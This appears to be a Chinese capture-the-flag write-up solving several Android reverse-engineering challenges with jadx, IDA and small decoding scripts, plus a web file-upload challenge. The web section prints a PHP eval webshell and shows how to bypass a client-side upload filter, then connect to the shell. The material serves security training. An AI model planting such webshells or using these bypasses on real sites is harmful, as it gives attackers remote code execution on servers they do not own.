攻防世界
攻防世界
Mobile
工具:jadx
基础android
方法一:
下载附件,虚拟机安装一下,发现需要使用密钥
利用jadx打开查看源码,发现里面有个checkPassword函数
双击进入可以看到一段密钥判断的函数
/* loaded from: classes.dex */
public class Check {
public boolean checkPassword(String str) {
char[] pass = str.toCharArray();
if (pass.length != 12) {
return false;
}
for (int len = 0; len < pass.length; len++) {
pass[len] = (char) (((255 - len) - 100) - pass[len]);
if (pass[len] != '0' || len >= 12) {
return false;
}
}
return true;
}
}
利用python脚本进行密钥破解
def find_password():
password = []
for i in range(12): # 密码长度固定为12
# 计算原始字符:(155 - i) - 48 = original_char
original_char = 107 - i
password.append(chr(original_char))
return ''.join(password)
def check_password(password):
if len(password) != 12:
return False
for i in range(12):
transformed = ((255 - i) - 100) - ord(password[i])
if transformed != 48: # '0'的ASCII码
return False
return True
# 主程序
if __name__ == "__main__":
# 计算密码
correct_password = find_password()
print("计算得到的密码是:", correct_password)
# 验证密码
print("密码验证结果:", check_password(correct_password))
运行之后可以得到密码为
kjihgfedcba`
在虚拟机中输入发现还需要一个图片显示码
继续分析原来的源码,可以看到在判断完checkPassword后,进入了“第二个”主函数
在“第二个”主函数里面发现了一个广播。这段代码来自一个 Android 应用的 MainActivity2,主要功能是用户输入一个字符串后,点击按钮发送一个广播。
进一步查看资源文件中的AndroidManifest.xml,我们知道触发该广播需要输入android.is.very.fun,而GetAndChange为广播的接收器。
在虚拟机中继续输入android.is.very.fun就可以进行正常的图片显示了
最终得到flag
方法二:
直接查看资源文件中的assets文件,里面有个zip文件,点卡发现他的文件并不是zip文件,而是jpg文件
直接右键进行导出,将文件后缀zip改为jpg可以得到以下图片
最终得到flag{08067-wlecome}
app1
下载题目apk附件,导入jadx中进行分析,先观察源代码中的主函数
发现在主函数里面进行了输入的值是否与“versionCode”和“versionName”进行异或的结果相等判断,如果不相等则输出再接再厉,加油~
因此我们需要对“versionCode”和“versionName”进行分析,得出他们异或的结果,我们可以直接利用工具栏中的搜索进行查找
发现versionCode="15",versionName="X<cP[?PHNB<P?aj"由于该文件为xml类型,可以判断<为HTML中的实体符号,可以看作<因此versionName="X<cP[?PHNB<P?aj"
然后利用脚本进行异或操作
versionCode=15
versionName="X<cP[?PHNB<P?aj"
flag = ''
for i in versionName:
flag += chr(ord(i)^versionCode)
print(flag)
运行之后得到flag为W3l_T0_GAM3_0ne
easy-apk
下载附件得到一个apk文件,模拟器安装了一下,发现并没有什么特别的,只是一个很简单的认证界面
接着利用jadx工具对apk文件进行分析
在apk文件的主函数里面发现了一串base64编码,利用Cyberchef进行base64解码发现是乱码
然后回到jadx里面发现该base64字符串利用了一个base64new进行了加密,也就是进行了新的base64字典进行了加密
然后利用ai分析进行解密,给出以下脚本
# 自定义Base64解码实现
Base64ByteToStr = [
'v', 'w', 'x', 'r', 's', 't', 'u', 'o', 'p', 'q',
'3', '4', '5', '6', '7', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J',
'y', 'z', '0', '1', '2', 'P', 'Q', 'R', 'S', 'T',
'K', 'L', 'M', 'N', 'O', 'Z', 'a', 'b', 'c', 'd',
'U', 'V', 'W', 'X', 'Y',
'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'8', '9', '+', '/'
]
char_to_value = {char: idx for idx, char in enumerate(Base64ByteToStr)}
encrypted_str = '5rFf7E2K6rqN7Hpiyush7E6S5fJg6rsi5NBf6NGT5rs='
num_pad = encrypted_str.count('=')
encrypted_clean = encrypted_str.rstrip('=')
# 转换字符到对应的数值
data = []
for c in encrypted_clean:
if c in char_to_value:
data.append(char_to_value[c])
else:
raise ValueError(f"无效字符: {c}")
# 填充数据到4的倍数长度
mod = len(data) % 4
if mod:
data += [0] * (4 - mod)
result = bytearray()
for i in range(0, len(data), 4):
chunk = data[i:i+4]
e0, e1, e2, e3 = chunk
# 将四个6位值转换为三个字节
byte0 = (e0 << 2) | (e1 >> 4)
byte1 = ((e1 & 0x0F) << 4) | (e2 >> 2)
byte2 = ((e2 & 0x03) << 6) | e3
# 处理末尾的填充
if i == len(data) - 4:
if num_pad == 1:
result.extend([byte0, byte1])
elif num_pad == 2:
result.append(byte0)
else:
result.extend([byte0, byte1, byte2])
else:
result.extend([byte0, byte1, byte2])
# 输出解密结果
print("解密后的字节数据:", result)
print("解密后的字符串:", result.decode('utf-8', errors='replace'))
运行一下之后得到

回到模拟器里面打开程序输入字符串05397c42f9b6da593a3644162d36eb01,可以看到验证通过
因此最终的flag为:flag{05397c42f9b6da593a3644162d36eb01}
app2
下载题目apk附件,在模拟器中进行安装发现界面类似一个登录界面
利用jadx进行分析
在主函数中发现关键函数SecondActivity,双击进入函数内
首先它接收了传递过来的用户和密码。调用类Encryto中的doRawData方法,参数为usename+password,如果返回值和VEIzd/V2UPYNdn/bxH3Xig== 相等则进入if中。待会再看if中的代码。我们首先定位到类Encryto
发现可能是利用了JNIEncrypt进行了AES加密
Android逆向之旅---动态方式破解apk进阶篇(IDA调试so源码) - 知乎
然后打开ida进行so源码分析,按下shift+f11键可以直接打开so中所有的字符串内容窗口,然后在其中发现了key:thisisatestkey==
然后利用key对VEIzd/V2UPYNdn/bxH3Xig==进行解密,在线AES解密
所以username+password就是"aimagetencent",然后根据jadx中之前判断的地方,看到if中有个tencent字符串,因此可以判断这个为密码,用户名则为aimage,在模拟器中输入后发现并不对,用户名和密码反过来后程序直接崩了。。。应该是对了,但是没有flag。。。
回到jadx中发现apk源文件的主函数文件附近还有个FileDataActivity文件没被调用过,打开看到里面还有个字符串9YuQ2dk8CSaCe7DTAmaqAA==
再次利用之前的key进行AES解密得到
因此最终的flag为Cas3_0f_A_CAK3
web
upload1
直接利用php一句话
<?php @eval($_POST['123456']);?>
木马上传被拦截了
方法一:
经过尝试,发现它只是在前端进行了对图像文件的判断,打开浏览器的f12功能,选择设置,然后禁用JavaScript
回到网页中重新上传就可以直接上传php文件木马了
方法二:
将木马php后缀改为jpg或png,上传的时候利用bp进行抓包拦截
将刚刚上传的假图片muma.jpg后缀修改为.php,然后放行

回到浏览器可以发现上传成功
|
然后利用蚁剑进行连接http://61.147.171.105:52179/upload/1743240568.muma.php
在上一级目录中发现flag.php文件
打开获得flag
flag=cyberpeace{9d3e99e73ee04b2cd749f64ef6253e6e}

攻防世界是干啥的,别问我,我也不知道~
浙公网安备 33010602011771号